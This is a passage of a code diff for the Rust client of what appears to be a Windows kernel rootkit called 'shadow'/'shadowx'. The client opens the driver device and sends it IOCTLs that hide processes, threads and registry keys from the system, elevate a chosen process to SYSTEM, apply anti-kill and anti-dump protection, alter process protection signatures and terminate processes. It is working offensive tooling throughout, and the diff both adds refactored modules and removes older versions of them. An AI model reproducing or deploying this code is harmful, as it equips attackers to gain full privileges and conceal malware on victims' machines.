if status == 0 {
|
||||||
|
error!(
|
||||||
|
"DeviceIoControl Failed With Status: 0x{:08X}",
|
||||||
|
unsafe { GetLastError() }
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
info!("Process with PID {} successfully protected", pid);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn elevate_process(pid: Option<&u32>, ioctl_code: u32) {
|
||||||
|
debug!("Attempting to open the driver for elevation operation");
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
if let Some(pid_value) = pid {
|
||||||
|
debug!("Preparing structure for pid: {}", pid_value);
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let pid = *pid_value as usize;
|
||||||
|
let mut target_process = TargetProcess { pid };
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to elevate process");
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut target_process as *mut _ as *mut c_void,
|
||||||
|
size_of::<TargetProcess>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut(),
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!(
|
||||||
|
"DeviceIoControl Failed With Status: 0x{:08X}",
|
||||||
|
unsafe { GetLastError() }
|
||||||
|
);
|
||||||
|
} else {
|
||||||
|
info!("Process with PID {} elevated to System", pid);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
error!("PID not supplied");
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
}
|
||||||
|
}
|
||||||
89
client/src/modules/registry.rs
Normal file
89
client/src/modules/registry.rs
Normal file
@@ -0,0 +1,89 @@
|
|||||||
|
use {
|
||||||
|
log::*,
|
||||||
|
crate::utils::open_driver,
|
||||||
|
shared::structs::TargetRegistry,
|
||||||
|
std::{ffi::c_void, ptr::null_mut},
|
||||||
|
windows_sys::Win32::{
|
||||||
|
Foundation::{CloseHandle, GetLastError},
|
||||||
|
System::IO::DeviceIoControl,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
pub fn registry_protection(ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
||||||
|
info!("Attempting to open the registry for protection operation");
|
||||||
|
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
debug!("Preparing structure for Key: {} | Value: {} | Protection: {}", key, value, if enable { "hide" } else { "unhide" });
|
||||||
|
let mut info_registry = TargetRegistry {
|
||||||
|
enable,
|
||||||
|
value: value.to_string(),
|
||||||
|
key: key.to_string(),
|
||||||
|
};
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to {} protection for key: {} | value: {}", if enable { "enable" } else { "disable" }, key, value);
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut info_registry as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<TargetRegistry>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut(),
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||||
|
} else {
|
||||||
|
info!("Registry protection {} for Key: {} and Value: {} succeeded", if enable { "enabled" } else { "disabled" }, key, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn registry_hide_unhide(ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
||||||
|
info!("Attempting to open the registry for hide/unhide operation");
|
||||||
|
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
debug!("Preparing structure for Key: {} | Value: {} | Operation: {}", key, value, if enable { "hide" } else { "unhide" });
|
||||||
|
let mut info_registry = TargetRegistry {
|
||||||
|
enable,
|
||||||
|
key: key.to_string(),
|
||||||
|
value: value.to_string(),
|
||||||
|
..Default::default()
|
||||||
|
};
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to {} registry for Key: {} | Value: {}", if enable { "hide" } else { "unhide" }, key, value);
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut info_registry as *mut _ as *mut c_void,
|
||||||
|
std::mem::size_of::<TargetRegistry>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut(),
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl Failed With Status: 0x{:08X}", unsafe { GetLastError() });
|
||||||
|
} else {
|
||||||
|
info!("Registry with Key: {} and Value: {} successfully {}hidden", key, value, if enable { "" } else { "un" });
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
}
|
||||||
|
}
|
||||||
133
client/src/modules/thread.rs
Normal file
133
client/src/modules/thread.rs
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
use {
|
||||||
|
log::*,
|
||||||
|
crate::{cli::Options, utils::open_driver},
|
||||||
|
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
||||||
|
shared::{
|
||||||
|
structs::{EnumerateInfoInput, TargetThread, ThreadListInfo},
|
||||||
|
vars::MAX_TIDS,
|
||||||
|
},
|
||||||
|
windows_sys::Win32::{
|
||||||
|
Foundation::CloseHandle,
|
||||||
|
System::IO::DeviceIoControl,
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
pub fn hide_unhide_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||||
|
debug!("Attempting to open the driver for hide/unhide operation");
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
if let Some(tid_value) = tid {
|
||||||
|
debug!("Preparing structure for TID: {}", tid_value);
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let tid = *tid_value as usize;
|
||||||
|
let mut target_thread = TargetThread { tid, enable };
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to {} thread", if enable { "hide" } else { "unhide" });
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut target_thread as *mut _ as *mut c_void,
|
||||||
|
size_of::<TargetThread>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut(),
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
info!("Thread with TID {} successfully {}hidden", tid, if enable { "" } else { "un" });
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
error!("TID not supplied");
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(not(feature = "mapper"))]
|
||||||
|
pub fn protection_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
||||||
|
debug!("Attempting to open the driver for thread protection operation");
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
|
||||||
|
if let Some(tid_value) = tid {
|
||||||
|
debug!("Preparing structure for TID: {}", tid_value);
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
let tid = *tid_value as usize;
|
||||||
|
let mut target_thread = shared::structs::ThreadProtection { tid, enable };
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to {} thread protection", if enable { "enable" } else { "disable" });
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut target_thread as *mut _ as *mut c_void,
|
||||||
|
size_of::<shared::structs::ThreadProtection>() as u32,
|
||||||
|
null_mut(),
|
||||||
|
0,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut(),
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
info!("Thread TID {} with anti-kill and dumping functions {}", tid, if enable { "enabled" } else { "disabled" });
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
error!("TID not supplied");
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn enumerate_thread(ioctl_code: u32, option: &Options) {
|
||||||
|
debug!("Attempting to open the driver for thread enumeration");
|
||||||
|
let h_file = open_driver().expect("Failed to open driver");
|
||||||
|
let mut info_thread: [ThreadListInfo; MAX_TIDS] = unsafe { std::mem::zeroed() };
|
||||||
|
let mut enumeration_input = EnumerateInfoInput {
|
||||||
|
options: option.to_shared(),
|
||||||
|
};
|
||||||
|
let mut return_buffer = 0;
|
||||||
|
|
||||||
|
debug!("Sending DeviceIoControl command to enumerate threads");
|
||||||
|
let status = unsafe {
|
||||||
|
DeviceIoControl(
|
||||||
|
h_file,
|
||||||
|
ioctl_code,
|
||||||
|
&mut enumeration_input as *mut _ as *mut c_void,
|
||||||
|
size_of::<EnumerateInfoInput>() as u32,
|
||||||
|
info_thread.as_mut_ptr() as *mut _,
|
||||||
|
(info_thread.len() * size_of::<ThreadListInfo>()) as u32,
|
||||||
|
&mut return_buffer,
|
||||||
|
null_mut(),
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if status == 0 {
|
||||||
|
error!("DeviceIoControl Failed with status: 0x{:08X}", status);
|
||||||
|
} else {
|
||||||
|
let total_threads = return_buffer as usize / size_of::<ThreadListInfo>();
|
||||||
|
info!("Total Threads: {}", total_threads);
|
||||||
|
for i in 0..total_threads {
|
||||||
|
if info_thread[i].tids > 0 {
|
||||||
|
info!("[{}] {}", i, info_thread[i].tids);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
debug!("Closing the driver handle");
|
||||||
|
unsafe {
|
||||||
|
CloseHandle(h_file);
|
||||||
|
};
|
||||||
|
}
|
||||||
@@ -1,256 +0,0 @@
|
|||||||
use {
|
|
||||||
crate::{
|
|
||||||
cli::{Options, PS_PROTECTED_SIGNER, PS_PROTECTED_TYPE},
|
|
||||||
driver::open_driver
|
|
||||||
},
|
|
||||||
shared::{
|
|
||||||
structs::{
|
|
||||||
EnumerateInfoInput, ProcessListInfo, TargetProcess,
|
|
||||||
ProcessInfoHide, ProcessSignature,
|
|
||||||
},
|
|
||||||
vars::MAX_PIDS
|
|
||||||
},
|
|
||||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
|
||||||
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl}
|
|
||||||
};
|
|
||||||
|
|
||||||
pub fn hide_unhide_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let status;
|
|
||||||
|
|
||||||
if let Some(pid_value) = pid {
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let pid = *pid_value as usize;
|
|
||||||
let mut target_process = ProcessInfoHide::default();
|
|
||||||
target_process.enable = if enable {
|
|
||||||
true
|
|
||||||
} else {
|
|
||||||
false
|
|
||||||
};
|
|
||||||
|
|
||||||
target_process.pid = pid;
|
|
||||||
|
|
||||||
status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut target_process as *mut _ as *mut c_void,
|
|
||||||
std::mem::size_of::<ProcessInfoHide>() as u32,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
if enable {
|
|
||||||
println!("[+] Process with PID {pid} successfully hidden");
|
|
||||||
} else {
|
|
||||||
println!("[+] Process with PID {pid} successfully unhidden");
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
println!("[-] PID not supplied");
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn terminate_process(pid: Option<&u32>, ioctl_code: u32) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let status;
|
|
||||||
|
|
||||||
if let Some(pid_value) = pid {
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let pid = *pid_value as usize;
|
|
||||||
let mut target_process = TargetProcess {
|
|
||||||
pid,
|
|
||||||
};
|
|
||||||
|
|
||||||
status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut target_process as *mut _ as *mut c_void,
|
|
||||||
std::mem::size_of::<TargetProcess>() as u32,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
println!("[+] Process with PID {pid} terminated successfully");
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
println!("[-] PID not supplied");
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(not(feature = "mapper"))]
|
|
||||||
pub fn protection_process(pid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let status;
|
|
||||||
|
|
||||||
if let Some(pid_value) = pid {
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let pid = *pid_value as usize;
|
|
||||||
let mut target_process = shared::structs::ProcessProtection {
|
|
||||||
pid,
|
|
||||||
enable
|
|
||||||
};
|
|
||||||
|
|
||||||
status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut target_process as *mut _ as *mut c_void,
|
|
||||||
std::mem::size_of::<shared::structs::ProcessProtection>() as u32,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
println!("[+] Process PID {pid} with anti-kill and dumping functions enabled");
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
println!("[-] PID not supplied");
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn enumerate_process(ioctl_code: u32, option: &Options) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let mut info_process: [ProcessListInfo; MAX_PIDS] = unsafe { std::mem::zeroed() };
|
|
||||||
let mut enumeration_input = EnumerateInfoInput {
|
|
||||||
options: option.to_shared()
|
|
||||||
};
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut enumeration_input as *mut _ as *mut c_void,
|
|
||||||
size_of::<EnumerateInfoInput>() as u32,
|
|
||||||
info_process.as_mut_ptr() as *mut _,
|
|
||||||
(info_process.len() * size_of::<ProcessListInfo>()) as u32,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
let total_process = return_buffer as usize / size_of::<ProcessListInfo>();
|
|
||||||
println!("[+] Total Processes: {}", total_process);
|
|
||||||
for i in 0..total_process {
|
|
||||||
if info_process[i].pids > 0 {
|
|
||||||
println!("[{}] {}", i, info_process[i].pids);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn signature_process(pid: Option<&u32>, ioctl_code: u32, sg: &PS_PROTECTED_SIGNER, tp: &PS_PROTECTED_TYPE) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let status;
|
|
||||||
|
|
||||||
if let Some(pid_value) = pid {
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let sg = *sg as usize;
|
|
||||||
let tp = *tp as usize;
|
|
||||||
let pid = *pid_value as usize;
|
|
||||||
let mut info_protection_process = ProcessSignature {
|
|
||||||
pid,
|
|
||||||
sg,
|
|
||||||
tp,
|
|
||||||
};
|
|
||||||
|
|
||||||
status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut info_protection_process as *mut _ as *mut c_void,
|
|
||||||
std::mem::size_of::<ProcessSignature>() as u32,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
println!("[+] Process with PID {pid} successfully protected");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn elevate_process(pid: Option<&u32>, ioctl_code: u32) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let status;
|
|
||||||
|
|
||||||
if let Some(pid_value) = pid {
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let pid = *pid_value as usize;
|
|
||||||
let mut target_process = TargetProcess {
|
|
||||||
pid,
|
|
||||||
};
|
|
||||||
|
|
||||||
status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut target_process as *mut _ as *mut c_void,
|
|
||||||
std::mem::size_of::<TargetProcess>() as u32,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
println!("[+] Process with PID {pid} elevated to System")
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
println!("[-] PID not supplied");
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
@@ -1,71 +0,0 @@
|
|||||||
use {
|
|
||||||
crate::driver::open_driver,
|
|
||||||
std::{ffi::c_void, ptr::null_mut},
|
|
||||||
shared::structs::TargetRegistry,
|
|
||||||
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
|
|
||||||
};
|
|
||||||
|
|
||||||
pub fn registry_protection(ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let mut info_registry = TargetRegistry {
|
|
||||||
enable,
|
|
||||||
value: value.to_string(),
|
|
||||||
key: key.to_string()
|
|
||||||
};
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut info_registry as *mut _ as *mut c_void,
|
|
||||||
std::mem::size_of::<TargetRegistry>() as u32,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
println!("[+] Registry protection succeeded!");
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn registry_hide(ioctl_code: u32, value: &String, key: &String, enable: bool) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let mut info_registry = TargetRegistry {
|
|
||||||
enable,
|
|
||||||
key: key.to_string(),
|
|
||||||
value: value.to_string(),
|
|
||||||
..Default::default()
|
|
||||||
};
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut info_registry as *mut _ as *mut c_void,
|
|
||||||
std::mem::size_of::<TargetRegistry>() as u32,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
println!("[+] Registry hide succeeded!");
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
@@ -1,132 +0,0 @@
|
|||||||
use {
|
|
||||||
crate::{cli::Options, driver::open_driver},
|
|
||||||
std::{ffi::c_void, mem::size_of, ptr::null_mut},
|
|
||||||
shared::{structs::{EnumerateInfoInput, TargetThread, ThreadListInfo}, vars::MAX_TIDS},
|
|
||||||
windows_sys::Win32::{Foundation::CloseHandle, System::IO::DeviceIoControl},
|
|
||||||
};
|
|
||||||
|
|
||||||
pub fn hide_unhide_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let status;
|
|
||||||
|
|
||||||
if let Some(tid_value) = tid {
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let tid = *tid_value as usize;
|
|
||||||
let mut target_thread = TargetThread {
|
|
||||||
tid,
|
|
||||||
enable
|
|
||||||
};
|
|
||||||
|
|
||||||
status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut target_thread as *mut _ as *mut c_void,
|
|
||||||
std::mem::size_of::<TargetThread>() as u32,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
if enable {
|
|
||||||
println!("[+] Process with TID {tid} successfully hidden");
|
|
||||||
} else {
|
|
||||||
println!("[+] Process with TID {tid} successfully unhidden");
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
println!("[-] TID not supplied");
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
#[cfg(not(feature = "mapper"))]
|
|
||||||
pub fn protection_thread(tid: Option<&u32>, ioctl_code: u32, enable: bool) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let status;
|
|
||||||
|
|
||||||
if let Some(tid_value) = tid {
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let tid = *tid_value as usize;
|
|
||||||
let mut target_process = shared::structs::ThreadProtection {
|
|
||||||
tid,
|
|
||||||
enable
|
|
||||||
};
|
|
||||||
|
|
||||||
status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut target_process as *mut _ as *mut c_void,
|
|
||||||
std::mem::size_of::<shared::structs::ThreadProtection>() as u32,
|
|
||||||
null_mut(),
|
|
||||||
0,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
if enable {
|
|
||||||
println!("[+] Thread TID {tid} with anti-kill and dumping functions enabled");
|
|
||||||
} else {
|
|
||||||
println!("[+] Thread TID {tid} with anti-kill and dumping functions disabled");
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
println!("[-] TID not supplied");
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn enumerate_thread(ioctl_code: u32, option: &Options) {
|
|
||||||
let h_file = open_driver().expect("Failed to open driver");
|
|
||||||
let mut info_thread: [ThreadListInfo; MAX_TIDS] = unsafe { std::mem::zeroed() };
|
|
||||||
let mut enumeration_input = EnumerateInfoInput {
|
|
||||||
options: option.to_shared()
|
|
||||||
};
|
|
||||||
let mut return_buffer = 0;
|
|
||||||
let status = unsafe {
|
|
||||||
DeviceIoControl(
|
|
||||||
h_file,
|
|
||||||
ioctl_code,
|
|
||||||
&mut enumeration_input as *mut _ as *mut c_void,
|
|
||||||
size_of::<EnumerateInfoInput>() as u32,
|
|
||||||
info_thread.as_mut_ptr() as *mut _,
|
|
||||||
(info_thread.len() * size_of::<ThreadListInfo>()) as u32,
|
|
||||||
&mut return_buffer,
|
|
||||||
null_mut()
|
|
||||||
)
|
|
||||||
};
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
eprintln!("[!] DeviceIoControl Failed with status: 0x{:08X}", status);
|
|
||||||
} else {
|
|
||||||
let total_process = return_buffer as usize / size_of::<ThreadListInfo>();
|
|
||||||
println!("[+] Total Threads: {}", total_process);
|
|
||||||
for i in 0..total_process {
|
|
||||||
if info_thread[i].tids > 0 {
|
|
||||||
println!("[{}] {}", i, info_thread[i].tids);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
unsafe {
|
|
||||||
CloseHandle(h_file);
|
|
||||||
};
|
|
||||||
}
|
|
||||||
@@ -1,7 +1,36 @@
|
|||||||
use std::path::Path;
|
use std::{path::Path, ptr::null_mut};
|
||||||
|
use windows_sys::{
|
||||||
|
w,
|
||||||
|
Win32::{
|
||||||
|
Foundation::{GetLastError, GENERIC_READ, GENERIC_WRITE, HANDLE, INVALID_HANDLE_VALUE},
|
||||||
|
Storage::FileSystem::{CreateFileW, FILE_ATTRIBUTE_NORMAL, OPEN_EXISTING}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
pub fn check_file(file: &String) -> bool {
|
pub fn check_file(file: &String) -> bool {
|
||||||
let file = Path::new(file);
|
let file = Path::new(file);
|
||||||
file.exists()
|
file.exists()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
pub fn open_driver() -> Result<HANDLE, ()> {
|
||||||
|
log::info!("Opening driver handle");
|
||||||
|
let h_file = unsafe {
|
||||||
|
CreateFileW(
|
||||||
|
w!("\\\\.\\shadow"),
|
||||||
|
GENERIC_READ | GENERIC_WRITE,
|
||||||
|
0,
|
||||||
|
null_mut(),
|
||||||
|
OPEN_EXISTING,
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
0
|
||||||
|
)
|
||||||
|
};
|
||||||
|
|
||||||
|
if h_file == INVALID_HANDLE_VALUE {
|
||||||
|
log::error!("CreateFileW failed with error: {:?}", unsafe { GetLastError() });
|
||||||
|
return Err(());
|
||||||
|
}
|
||||||
|
|
||||||
|
log::info!("Driver handle successfully opened");
|
||||||
|
Ok(h_file)
|
||||||
|
}
|
||||||
|
|||||||
7
crates/shadowx/Cargo.toml
Normal file
7
crates/shadowx/Cargo.toml
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
[package]
|
||||||
|
name = "shadowx"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
